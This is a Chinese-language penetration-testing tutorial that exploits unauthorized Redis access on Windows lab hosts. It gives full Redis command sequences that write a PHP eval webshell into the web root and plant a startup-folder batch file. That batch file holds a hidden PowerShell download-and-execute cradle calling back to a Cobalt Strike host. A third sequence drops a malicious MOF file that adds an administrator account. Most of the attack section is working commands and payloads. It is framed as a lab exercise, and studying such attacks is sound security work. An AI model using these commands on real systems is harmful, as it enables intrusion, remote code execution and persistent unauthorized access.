Redis未授权访问漏洞(windows环境)

     上一篇文章说了linux环境下的redis未授权访问如何进行getshell,今天就来说一说如果是换成windows环境下又怎么进行getshell。

一、靶机环境

1.Win7 漏洞靶机:192.168.1.1032.Windows 2003 漏洞靶机:192.168.1.1043.Kali 攻击机:192.168.1.102

二、漏洞环境搭建

首先下载windows环境下的redis版本,解压之后显示如下

redis未授权写计划任务win redis未授权windows_redis未授权写计划任务win

图中箭头1处标识的是redis的相关配置文件,2处标识的是用于redis连接的可执行文件,3处则是启动redis的执行文件。

在dos窗口中切换到当前目录执行以下命令启动redis服务

redis-server.exe redis.conf

redis未授权写计划任务win redis未授权windows_redis未授权写计划任务win_02

然后在攻击机中扫描靶机开启的端口情况,验证是否成功启动redis

nmap -p 6379 --script redis-info 192.168.1.103 #验证redis是否启动

redis未授权写计划任务win redis未授权windows_redis windows_03

从结果来看目标靶机确实已经启动了redis服务,那么接下来连接以下看看是否存在未授权访问漏洞

redis未授权写计划任务win redis未授权windows_redis未授权写计划任务win_04

事实证明是存在该漏洞的,并且此时返回目标靶机可以看到会显示当前连接redis的情况

redis未授权写计划任务win redis未授权windows_redis未授权写计划任务win_05

三、通过未授权访问漏洞实现getshell

在windows环境下通过redis未授权访问漏洞实现getshell同样也有三种方式,分别是如下三种:

1、写入webshell

写入webshell这种方式,需要通过phpinfo或者其他的报错方式来获取网站绝对路径。这里我提前在win7靶机中用phpstudy模拟了环境,通过phpinfo获取了网站的绝对路径,显示如下

redis未授权写计划任务win redis未授权windows_redis windows_06

接下来就是通过连接目标靶机的redis进行写入webshell了,执行如下命令即可

192.168.1.103:6379> CONFIG SET dir c:/phpstudy_pro/WWWOK192.168.1.103:6379> CONFIG SET dbfilename shell.phpOK192.168.1.103:6379> set x “php @eval($_POST['swzaq']) ?>”OK192.168.1.103:6379> saveOK

redis未授权写计划任务win redis未授权windows_redis未授权写计划任务win_07

写入成功之后用蚁剑进行连接

redis未授权写计划任务win redis未授权windows_redis未授权写计划任务win_08

redis未授权写计划任务win redis未授权windows_redis未授权写计划任务win_09

2、写入启动项

当目标没有提供网站服务,或者不知道网站绝对路径没办法写入webshell时,我们就可以通过写入启动项的方式来getshell。这就跟在linux环境下写入计划任务效果差不多。

windows下的开机启动项的目录为

C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/

值得注意的是由于Start Menu之间是有空格的,因此在写入的时候需要用双引号将路径包含起来,否则会出现参数个数错误的提示。

这里我是通过Cobalt Strike来接收目标靶机的shell的,具体实现步骤如下:

首先在攻击机中启动CS服务端,启动成功之后同样是在攻击机中启动客户端进行登录

redis未授权写计划任务win redis未授权windows_redis windows_10

接着添加一个Listener 监听器

redis未授权写计划任务win redis未授权windows_redis windows_11

然后选择Attacks--Web Drive-by--scripted Web Delivery(S)

redis未授权写计划任务win redis未授权windows_redis未授权写计划任务win_12

在弹出的对话框中选择刚才添加的Listener

redis未授权写计划任务win redis未授权windows_redis未授权写计划任务win_13

点击Launch之后生成如下代码

powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.1.102:80/a'))"

redis未授权写计划任务win redis未授权windows_redis windows_14

接着就可以连接redis开始写入启动项了,不过这里需要特别几个问题

(1)由于dbfile本身是有内容的,因此命令要正常运行必须先换行,经过测试需要两个换行符rn才能正常运行

(2)由于设置变量时会使用双引号进行包含,而命令中本来就含有双引号,为了不造成歧义这里需要对其进行转义

因此连接目标redis之后执行如下命令即可

192.168.1.103:6379> CONFIG SET dir "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/"OK192.168.1.103:6379> CONFIG SET dbfilename shell.batOK192.168.1.103:6379> set x "\r\n\r\npowershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.1.102:80/a'))\"\r\n\r\n"OK192.168.1.103:6379> saveOK

redis未授权写计划任务win redis未授权windows_redis windows_15

执行完成后查看目标靶机发现已经成功写入了

redis未授权写计划任务win redis未授权windows_redis未授权写计划任务win_16

重启一下目标靶机,服务器就上线了

redis未授权写计划任务win redis未授权windows_redis未授权写计划任务win_17

3、mof提权

第二种方法有一个缺陷就是必须要机器重启才能getshell。这个如果是在真是环境中肯定是比较困难的,那么这个时候我们就可以通过mof提权的方式来进行getshell了。

mof提权的原理

mof是Windows系统的一个文件,位于c:/windows/system32/wbem/mof/nullevt.mof

叫做托管对象格式。它的作用是每隔5秒,就会去监控进程的创建和死亡。mof提权的简单利用过程就是,在该文件夹下写入一个恶意的mof文件,其中有一段是vbs脚本,而这个vbs脚本大多数是cmd的添加管理员用户的命令。写入完成之后这个文件会被服务器每隔5秒以system权限进行执行。(这个默认5秒执行一次的设定只有03及以下系统才会有)

值得注意的是通过测试也只在windows2003的环境下成功过。下面就是具体步骤

首先将下列代码保存在攻击机的ceshi.txt文件中

#pragma namespace("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter {     EventNamespace = "Root\\Cimv2";     Name  = "filtP2";     Query = "Select * From __InstanceModificationEvent "             "Where TargetInstance Isa \"Win32_LocalTime\" "             "And TargetInstance.Second = 5";     QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer {     Name = "consPCSV2";     ScriptingEngine = "JScript";     ScriptText =     "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net user admin admin /add \")"; }; instance of __FilterToConsumerBinding {     Consumer   = $Consumer;     Filter = $EventFilter; };

redis未授权写计划任务win redis未授权windows_redis未授权写计划任务win_18

如图箭头标识的就是添加一个admin用户的命令。然后继续执行如下命令

(echo -e "nn"; cat ceshi.txt; echo -e "nn") > shell.txt

最后切换到redis目录,连接目标靶机的redis并执行如下命令

root@kali:/usr/local/redis/redis-3.2.0/src#cat /root/shell.txt |./redis-cli -h 192.168.1.104 -x set xOKroot@kali:/usr/local/redis/redis-3.2.0/src#./redis-cli -h 192.168.1.104192.168.1.104:6379> CONFIG SET dir C:/windows/system32/wbem/mof/OK192.168.1.104:6379> CONFIG SET dbfilename shell.mofOK192.168.1.104:6379>saveOK

redis未授权写计划任务win redis未授权windows_redis未授权写计划任务win_19

执行完成之后返回目标主机的对应目录下可以看到已经成功写入了

redis未授权写计划任务win redis未授权windows_redis未授权写计划任务win_20

写入成功之后几秒钟这个文件就会被执行,目标靶机就会创建一个admin用户

redis未授权写计划任务win redis未授权windows_redis未授权写计划任务win_21

还有一个问题就是执行成功的mof文件会放在good文件夹下,失败的会放在bad文件夹下。

我在复现的时候写入的mof文件虽然最后是放在了bad文件夹下,但是它确确实实是成功执行了,并且这个成功执行会有一个概率问题。如果开始一两次写入没有成功多试几次就会达到效果的。具体效果显示如下

redis未授权写计划任务win redis未授权windows_redis未授权写计划任务win_22